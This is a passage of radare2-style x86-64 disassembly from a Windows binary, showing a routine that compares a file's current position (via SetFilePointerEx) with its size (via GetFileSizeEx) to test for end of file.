mov al, 1
jmp 0x140019b02
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140019ab3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140019b00
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001601c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140019b00
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140019b00
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140019b00
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140019b02
xor al, al
add rsp, 0x20
pop rbx
ret